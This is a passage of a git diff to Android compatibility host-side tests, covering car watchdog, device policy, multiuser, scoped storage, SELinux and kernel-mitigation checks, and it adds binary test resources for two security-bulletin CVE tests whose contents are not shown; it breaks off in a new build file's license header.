Thread.sleep(1000);
result = getDevice().executeShellCommand("sm list-disks adoptable").trim();
hasVirtualDisk = result.startsWith("disk:");
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
index 64a9cbc..7471d28 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
@@ -352,6 +352,9 @@
continue;
}
assertDirReadWriteAccess(path);
+ for (final File dir : buildCommonChildDirs(path)) {
+ dir.mkdirs();
+ }
assertDirReadWriteAccess(buildCommonChildDirs(path));
}
}
diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
index 74d59f7..c7381a2 100644
--- a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java
@@ -117,6 +117,8 @@
private static final String APPLY_DISABLE_DISPLAY_POWER_POLICY_CMD =
"cmd car_service apply-power-policy cts_car_watchdog_disable_display";
+ private static final String FAILED_CUSTOM_COLLECTION_MSG = "Cannot start a custom collection";
+
private static final long FIFTY_MEGABYTES = 1024 * 1024 * 50;
private static final long TWO_HUNDRED_MEGABYTES = 1024 * 1024 * 200;
@@ -128,6 +130,7 @@
private static final Pattern FOREGROUND_BYTES_PATTERN = Pattern.compile(
"foregroundModeBytes = (\\d+)");
+ private static final long START_CUSTOM_COLLECTION_TIMEOUT_MS = 30_000;
private static final long WATCHDOG_ACTION_TIMEOUT_MS = 15_000;
private boolean mDidModifyDateTime;
@@ -153,7 +156,7 @@
GET_IO_OVERUSE_FOREGROUNG_BYTES_CMD));
executeCommand("%s %d", SET_IO_OVERUSE_FOREGROUNG_BYTES_CMD, TWO_HUNDRED_MEGABYTES);
executeCommand("logcat -c");
- executeCommand(START_CUSTOM_PERF_COLLECTION_CMD);
+ startCustomCollection();
executeCommand(RESET_RESOURCE_OVERUSE_CMD);
}
@@ -380,4 +383,11 @@
executeCommand("date %s", now.plusHours(1));
CLog.d(TAG, "DateTime changed from %s to %s", now, now.plusHours(1));
}
+
+ private void startCustomCollection() throws Exception {
+ PollingCheck.check("Could not start the custom collection.",
+ START_CUSTOM_COLLECTION_TIMEOUT_MS,
+ () -> !executeCommand(START_CUSTOM_PERF_COLLECTION_CMD)
+ .contains(FAILED_CUSTOM_COLLECTION_MSG));
+ }
}
diff --git a/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java b/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
index e370374..fd2ac89 100644
--- a/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
@@ -108,6 +108,7 @@
if (afterReboot) {
restartSystem();
+ waitForCarServiceReady();
// Checks again
assertAppInstalledForUser(APP_PKG, initialUserId);
diff --git a/hostsidetests/car_builtin/OWNERS b/hostsidetests/car_builtin/OWNERS
index f0afac5..c5bee2d 100644
--- a/hostsidetests/car_builtin/OWNERS
+++ b/hostsidetests/car_builtin/OWNERS
@@ -1,4 +1,2 @@
# Bug component: 526680
-keunyoung@google.com
-felipeal@google.com
-gurunagarajan@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 0fc8b16..e65bc93 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -43,6 +43,7 @@
"androidx.legacy_legacy-support-v4",
"devicepolicy-deviceside-common",
"DpmWrapper",
+ "NeneInternal",
],
min_sdk_version: "21",
// tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index f30d29e..95f5693 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.deviceowner">
- <uses-sdk android:minSdkVersion="20"/>
+ <uses-sdk android:minSdkVersion="29"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
index eb5cc56..7606b79 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java
@@ -16,8 +16,6 @@
package com.android.cts.deviceowner;
-import static android.os.Process.BLUETOOTH_UID;
-
import static com.google.common.truth.Truth.assertWithMessage;
import android.bluetooth.BluetoothAdapter;
@@ -28,6 +26,7 @@
import android.util.DebugUtils;
import android.util.Log;
+import com.android.bedstead.nene.TestApis;
import com.android.internal.util.ArrayUtils;
/**
@@ -134,11 +133,8 @@
return;
}
- String bluetoothPackageName = mContext.getPackageManager()
- .getPackagesForUid(BLUETOOTH_UID)[0];
-
- ComponentName oppLauncherComponent = new ComponentName(
- bluetoothPackageName, OPP_LAUNCHER_CLASS);
+ ComponentName oppLauncherComponent =
+ new ComponentName(TestApis.bluetooth().findPackageName(), OPP_LAUNCHER_CLASS);
// First verify DISALLOW_BLUETOOTH.
testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH,
@@ -146,8 +142,8 @@
// Verify DISALLOW_BLUETOOTH_SHARING which leaves bluetooth workable but the sharing
// component should be disabled.
- testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH_SHARING,
- oppLauncherComponent);
+ testOppDisabledWhenRestrictionSet(
+ UserManager.DISALLOW_BLUETOOTH_SHARING, oppLauncherComponent);
}
/** Verifies that a given restriction disables the bluetooth sharing component. */
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index 4da5fff..9c8a81d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -25,6 +25,8 @@
import android.content.pm.PackageManager;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+
import java.util.ArrayList;
/**
@@ -41,6 +43,7 @@
private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
private static final String SIMPLE_APP_ACTIVITY =
"com.android.cts.launcherapps.simpleapp.SimpleActivityImmediateExit";
+ private static final String ARG_PID_BEFORE_STOP = "pidOfSimpleapp";
public void testSetUserControlDisabledPackages() throws Exception {
ArrayList<String> protectedPackages = new ArrayList<>();
@@ -86,14 +89,15 @@
// Check if package is part of UserControlDisabledPackages before checking if
// package is stopped since it is a necessary condition to prevent stopping of
// package
-
assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
.containsExactly(SIMPLE_APP_PKG);
- assertPackageRunningState(/* running= */ true);
+ assertPackageRunningState(/* running= */ true,
+ InstrumentationRegistry.getArguments().getString(ARG_PID_BEFORE_STOP, "-1"));
}
public void testFgsStopWithUserControlEnabled() throws Exception {
- assertPackageRunningState(/* running= */ false);
+ assertPackageRunningState(/* running= */ false,
+ InstrumentationRegistry.getArguments().getString(ARG_PID_BEFORE_STOP, "-1"));
assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
}
@@ -120,9 +124,15 @@
return pid.length() > 0;
}
- private void assertPackageRunningState(boolean shouldBeRunning) throws Exception {
+ private void assertPackageRunningState(boolean shouldBeRunning, String argPid)
+ throws Exception {
+ String pid = executeShellCommand(String.format("pidof %s", SIMPLE_APP_PKG)).trim();
+
+ final boolean samePid = pid.equals(argPid);
+ final boolean stillRunning = samePid && isPackageRunning(SIMPLE_APP_PKG);
+
assertWithMessage("Package %s running for user %s", SIMPLE_APP_PKG,
getCurrentUser().getIdentifier())
- .that(isPackageRunning(SIMPLE_APP_PKG)).isEqualTo(shouldBeRunning);
+ .that(stillRunning).isEqualTo(shouldBeRunning);
}
}
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
index f17da74..df81a45 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
@@ -2,6 +2,7 @@
import static com.google.common.truth.Truth.assertWithMessage;
+import android.app.ActivityManager;
import android.app.UiAutomation;
import android.content.Context;
import android.content.Intent;
@@ -9,6 +10,7 @@
import android.content.pm.ResolveInfo;
import android.content.res.Configuration;
import android.os.UserHandle;
+import android.os.UserManager;
import android.provider.Settings;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
@@ -167,13 +169,18 @@
String settingsPackageName = "com.android.settings";
try {
mUiAutomation.adoptShellPermissionIdentity("android.permission.INTERACT_ACROSS_USERS");
+ int userId = UserManager.isHeadlessSystemUserMode()
+ ? ActivityManager.getCurrentUser() // doesn't work with UserHandle.USER_CURRENT
+ : UserHandle.USER_SYSTEM;
ResolveInfo resolveInfo = mPackageManager.resolveActivityAsUser(
- new Intent(Settings.ACTION_SETTINGS), PackageManager.MATCH_SYSTEM_ONLY,
- UserHandle.USER_SYSTEM);
+ new Intent(Settings.ACTION_SETTINGS), PackageManager.MATCH_SYSTEM_ONLY, userId);
if (resolveInfo != null && resolveInfo.activityInfo != null) {
- return resolveInfo.activityInfo.packageName;
+ String packageName = resolveInfo.activityInfo.packageName;
+ Log.d(TAG, "getSettingsPackageName(): returning " + packageName);
+ return packageName;
}
- Log.w(TAG, "Unable to resolve ACTION_SETTINGS intent.");
+ Log.w(TAG, "Unable to resolve ACTION_SETTINGS (" + Settings.ACTION_SETTINGS
+ + ") intent for user " + userId);
return DEFAULT_SETTINGS_PKG;
} finally {
mUiAutomation.dropShellPermissionIdentity();
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index 376b76b..7a0a26b 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -36,6 +36,7 @@
"androidx.legacy_legacy-support-v4",
"devicepolicy-deviceside-common",
"permission-test-util-lib",
+ "NeneInternal",
],
min_sdk_version: "27",
// tag this module as a cts test artifact
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 0a049c9..267f56e 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -17,7 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.managedprofile">
- <uses-sdk android:minSdkVersion="27"/>
+ <uses-sdk android:minSdkVersion="29"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
index 18f0d7c..ea41868 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/BluetoothSharingRestrictionTest.java
@@ -15,8 +15,6 @@
*/
package com.android.cts.managedprofile;
-import static android.os.Process.BLUETOOTH_UID;
-
import android.app.UiAutomation;
import android.bluetooth.BluetoothAdapter;
import android.content.ComponentName;
@@ -32,6 +30,7 @@
import androidx.test.InstrumentationRegistry;
+import com.android.bedstead.nene.TestApis;
import com.android.internal.util.ArrayUtils;
import junit.framework.TestCase;
@@ -113,8 +112,7 @@
: new int[] {PackageManager.COMPONENT_ENABLED_STATE_DISABLED};
sUiAutomation.adoptShellPermissionIdentity(INTERACT_ACROSS_USERS_PERMISSION);
- String bluetoothPackageName = context.getPackageManager()
- .getPackagesForUid(BLUETOOTH_UID)[0];
+ String bluetoothPackageName = TestApis.bluetooth().findPackageName();
sUiAutomation.dropShellPermissionIdentity();
ComponentName oppLauncherComponent = new ComponentName(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index c87a7f8..d1773d0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -70,6 +70,7 @@
private static final String TEST_APP_LOCATION = "/data/local/tmp/cts/packageinstaller/";
private static final String ARG_NETWORK_LOGGING_BATCH_COUNT = "batchCount";
+ private static final String ARG_PID_BEFORE_STOP = "pidOfSimpleapp";
private static final String LAUNCHER_TESTS_HAS_LAUNCHER_ACTIVITY_APK =
"CtsHasLauncherActivityApp.apk";
@@ -1059,13 +1060,16 @@
*/
private void tryFgsStoppingProtectedPackage(int userId, boolean canUserStopPackage)
throws Exception {
+ String pid = executeShellCommand(String.format("pidof %s", SIMPLE_APP_PKG)).trim();
fgsStopPackageForUser(SIMPLE_APP_PKG, userId);
if (canUserStopPackage) {
executeDeviceTestMethod(".UserControlDisabledPackagesTest",
- "testFgsStopWithUserControlEnabled");
+ "testFgsStopWithUserControlEnabled",
+ Collections.singletonMap(ARG_PID_BEFORE_STOP, pid));
} else {
executeDeviceTestMethod(".UserControlDisabledPackagesTest",
- "testFgsStopWithUserControlDisabled");
+ "testFgsStopWithUserControlDisabled",
+ Collections.singletonMap(ARG_PID_BEFORE_STOP, pid));
}
}
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 11f24fa..d6ac485 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -25,6 +25,7 @@
import java.io.File;
import java.io.IOException;
import java.io.StringReader;
+import java.util.ArrayList;
import java.util.HashSet;
import java.util.Set;
@@ -36,6 +37,41 @@
private static final String TEST_PKG = "com.android.cts.framestatstestapp";
/**
+ * Parse each line from output of dumpsys to handle special fields such as
+ * 'aaa,"bbb,ccc",ddd', to capture properly.
+ */
+ private static String[] parseCsv(String line) {
+ ArrayList<String> parts = new ArrayList<>();
+ String[] splitStrings = line.split(",", -1);
+ String s = "";
+ boolean escaping = false;
+ for (String splitString : splitStrings) {
+ if (escaping) {
+ s += "," + splitString;
+ } else {
+ if (splitString.startsWith("\"")) {
+ // Field start with ". Start escaping.
+ s = splitString;
+ escaping = true;
+ } else {
+ parts.add(splitString);
+ }
+ }
+ if (escaping && s.length() > 1 && s.endsWith("\"")) {
+ // Field end with ". Stop escaping.
+ parts.add(s.substring(1, s.length() - 1));
+ escaping = false;
+ }
+ }
+ if (escaping) {
+ // Unclosed escaping string. Add it anyway.
+ parts.add(s.substring(1));
+ }
+
+ return parts.toArray(new String[parts.size()]);
+ }
+
+ /**
* Tests the output of "dumpsys batterystats --checkin".
*
* @throws Exception
@@ -58,11 +94,7 @@
try {
- // With a default limit of 0, empty strings at the end are discarded.
- // We still consider the empty string as a valid value in some cases.
- // Using any negative number for the limit will preserve a trailing empty string.
- // @see String#split(String, int)
- String[] parts = line.split(",", -1);
+ String[] parts = parseCsv(line);
assertInteger(parts[0]); // old version
assertInteger(parts[1]); // UID
switch (parts[2]) { // aggregation type
diff --git a/hostsidetests/edi/OWNERS b/hostsidetests/edi/OWNERS
index 88c9013..8e0766f 100644
--- a/hostsidetests/edi/OWNERS
+++ b/hostsidetests/edi/OWNERS
@@ -1,8 +1,5 @@
# Bug component: 47509
-aaronholden@google.com
-agathaman@google.com
-nickrose@google.com
-samlin@google.com
-
+anwenxu@google.com
+sehajgrover@google.com
# For cleanups and bug fixes
satayev@google.com #{LAST_RESORT_SUGGESTION}
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
index 070b44d..c07fa07 100644
--- a/hostsidetests/media/bitstreams/AndroidTest.xml
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -25,6 +25,11 @@
<option name="dynamic-config-name" value="cts-dynamic-config" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
+ <option name="version" value="9.0_r1"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="media-download-only" value="true" />
</target_preparer>
@@ -32,11 +37,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaBitstreamsDeviceSideTestApp.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
- <option name="version" value="9.0_r1"/>
- </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
<option name="src-dir" value="/sdcard/report-log-files/"/>
<option name="dest-dir" value="report-log-files/"/>
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
index 139a35c..7f3a817 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
@@ -20,6 +20,7 @@
import android.host.multiuser.BaseMultiUserTest.SupportsMultiUserRule;
import com.android.compatibility.common.util.CddTest;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Rule;
@@ -35,9 +36,11 @@
public final class SecondaryUsersTest extends BaseMultiUserTest {
// Extra time to give the system to switch into secondary user after boot complete.
- private static final long SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS = 30000;
+ private static final long SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS = 100_000;
- private static final long POLL_INTERVAL_MS = 100;
+ private static final long POLL_INTERVAL_MS = 1_000;
+ private static final long WAIT_FOR_DEVICE_READY_INTERVAL_MS = 10_000;
+ private static final long WAIT_FOR_BOOT_COMPLETE_INTERVAL_MINUTES = 2;
@Rule
public final SupportsMultiUserRule mSupportsMultiUserRule = new SupportsMultiUserRule(this);
@@ -47,26 +50,42 @@
public void testSwitchToSecondaryUserBeforeBootComplete() throws Exception {
assumeIsAutomotive();
+ CLog.d("Rebooting");
getDevice().nonBlockingReboot();
+ CLog.d("Waiting " + WAIT_FOR_BOOT_COMPLETE_INTERVAL_MINUTES + " minutes for boot complete");
getDevice().waitForBootComplete(TimeUnit.MINUTES.toMillis(2));
+ CLog.d("Boot completed; waiting until current user is a secondary user");
+ int currentUser = -10000; // UserHandle.USER_NULL;
boolean isUserSecondary = false;
long ti = System.currentTimeMillis();
- // TODO(b/138944230): Verify if current user is secondary when the UI is ready for user
+ // TODO(b/208518721): Verify if current user is secondary when the UI is ready for user
// interaction. A possibility is to check if the CarLauncher is started in the
// Activity Stack, but this becomes tricky in OEM implementation, where CarLauncher is
// replaced with another launcher. Launcher can usually identify by
// android.intent.category.HOME (type=home) and priority = -1000. But there is no clear way
// to determine this via adb.
- while (System.currentTimeMillis() - ti < SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS) {
- isUserSecondary = getDevice().isUserSecondary(getDevice().getCurrentUser());
- if (isUserSecondary) {
- break;
+ while (!isUserSecondary
+ && System.currentTimeMillis() - ti < SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS) {
+ try {
+ currentUser = getDevice().getCurrentUser();
+ isUserSecondary = getDevice().isUserSecondary(currentUser);
+ CLog.d("Current user: %d isSecondary: %b", currentUser, isUserSecondary);
+ if (isUserSecondary) {
+ CLog.d("Saul Goodman!");
+ break;
+ }
+ CLog.v("Sleeping for %d ms as user %d is not a secondary user yet",
+ POLL_INTERVAL_MS, currentUser);
+ Thread.sleep(POLL_INTERVAL_MS);
+ } catch (Exception e) {
+ CLog.d("Device not available yet (%s); sleeping for %d ms", e,
+ WAIT_FOR_DEVICE_READY_INTERVAL_MS);
+ Thread.sleep(WAIT_FOR_DEVICE_READY_INTERVAL_MS);
}
- Thread.sleep(POLL_INTERVAL_MS);
}
- assertWithMessage("Must switch to secondary user before boot complete")
+ assertWithMessage("Current user (%s) is a secondary user after boot", currentUser)
.that(isUserSecondary).isTrue();
}
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index cd9378d..72cd866 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -20,6 +20,8 @@
import android.platform.test.annotations.AppModeFull;
+import com.android.modules.utils.build.testing.DeviceSdkLevel;
+import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
@@ -147,24 +149,36 @@
@Test
public void testCheckInstallerAppAccessToObbDirs() throws Exception {
allowAppOps("android:request_install_packages");
- grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+ if (isSdkLevelLessThanT()) {
+ grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ }
try {
runDeviceTest("testCheckInstallerAppAccessToObbDirs");
} finally {
denyAppOps("android:request_install_packages");
- revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+ if (isSdkLevelLessThanT()) {
+ revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ }
}
}
@Test
public void testCheckInstallerAppCannotAccessDataDirs() throws Exception {
allowAppOps("android:request_install_packages");
- grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+ if (isSdkLevelLessThanT()) {
+ grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ }
try {
runDeviceTest("testCheckInstallerAppCannotAccessDataDirs");
} finally {
denyAppOps("android:request_install_packages");
- revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ // WRITE_EXTERNAL_STORAGE is no-op for Installers T onwards
+ if (isSdkLevelLessThanT()) {
+ revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+ }
}
}
@@ -389,4 +403,9 @@
executeShellCommand("cmd appops set --uid android.scopedstorage.cts " + op + " deny");
}
}
+
+ private boolean isSdkLevelLessThanT() throws DeviceNotAvailableException {
+ DeviceSdkLevel deviceSdkLevel = new DeviceSdkLevel(getDevice());
+ return !deviceSdkLevel.isDeviceAtLeastT();
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index ad99a5a..44e616d 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -187,7 +187,8 @@
if (mitigationInfoMeltdown != null && mitigationInfoSpectreV2 != null &&
!mitigationInfoMeltdown.contains("Vulnerable") &&
- !mitigationInfoSpectreV2.contains("Vulnerable"))
+ (!mitigationInfoSpectreV2.contains("Vulnerable") ||
+ mitigationInfoSpectreV2.equals("Vulnerable: Unprivileged eBPF enabled\n")))
return "VULN_SAFE";
for (String nodeInfo : pathList) {
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 573035c..dea2688 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -116,8 +116,6 @@
private File devicePcFile;
private File deviceSvcFile;
private File seappNeverAllowFile;
- private File libsepolwrap;
- private File libcpp;
private File copyLibcpp;
private File sepolicyTests;
@@ -907,29 +905,8 @@
return (os.startsWith("mac") || os.startsWith("darwin"));
}
- private void setupLibraries() throws Exception {
- // The host side binary tests are host OS specific. Use Linux
- // libraries on Linux and Mac libraries on Mac.
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
- if (isMac()) {
- libsepolwrap = buildHelper.getTestFile("libsepolwrap.dylib");
- libcpp = buildHelper.getTestFile("libc++.dylib");
- copyLibcpp = new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib");
- Files.copy(libcpp.toPath(), copyLibcpp.toPath(), StandardCopyOption.REPLACE_EXISTING);
- } else {
- libsepolwrap = buildHelper.getTestFile("libsepolwrap.so");
- libcpp = buildHelper.getTestFile("libc++.so");
- copyLibcpp = new File(System.getProperty("java.io.tmpdir") + "/libc++.so");
- Files.copy(libcpp.toPath(), copyLibcpp.toPath(), StandardCopyOption.REPLACE_EXISTING);
- }
- libsepolwrap.deleteOnExit();
- libcpp.deleteOnExit();
- copyLibcpp.deleteOnExit();
- }
-
private void assertSepolicyTests(String test, String testExecutable,
boolean includeVendorSepolicy) throws Exception {
- setupLibraries();
sepolicyTests = copyResourceToTempFile(testExecutable);
sepolicyTests.setExecutable(true);
@@ -951,12 +928,6 @@
}
ProcessBuilder pb = new ProcessBuilder(args);
- Map<String, String> env = pb.environment();
- if (isMac()) {
- env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
- } else {
- env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
- }
pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
pb.redirectErrorStream(true);
Process p = pb.start();
@@ -1367,7 +1338,7 @@
@CddTest(requirement="9.7")
@Test
public void testDrmServerDomain() throws DeviceNotAvailableException {
- assertDomainN("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64");
+ assertDomainHasExecutable("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64");
}
/* Installd is always running */
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 323d5b7..2524227 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -23,7 +23,6 @@
java_resource_dirs: ["res"],
// tag this module as a cts test artifact
test_suites: [
- "cts",
"general-tests",
"sts",
],
@@ -44,6 +43,7 @@
cc_defaults {
name: "cts_hostsidetests_securitybulletin_defaults",
+ auto_gen_config: false,
compile_multilib: "both",
multilib: {
lib32: {
@@ -60,7 +60,6 @@
},
},
test_suites: [
- "cts",
"sts",
"general-tests",
],
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39623.ogg b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg
new file mode 100644
index 0000000..1992a17
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2022_22082.dsf b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf
new file mode 100644
index 0000000..60d1a5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
new file mode 100644
index 0000000..50662fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
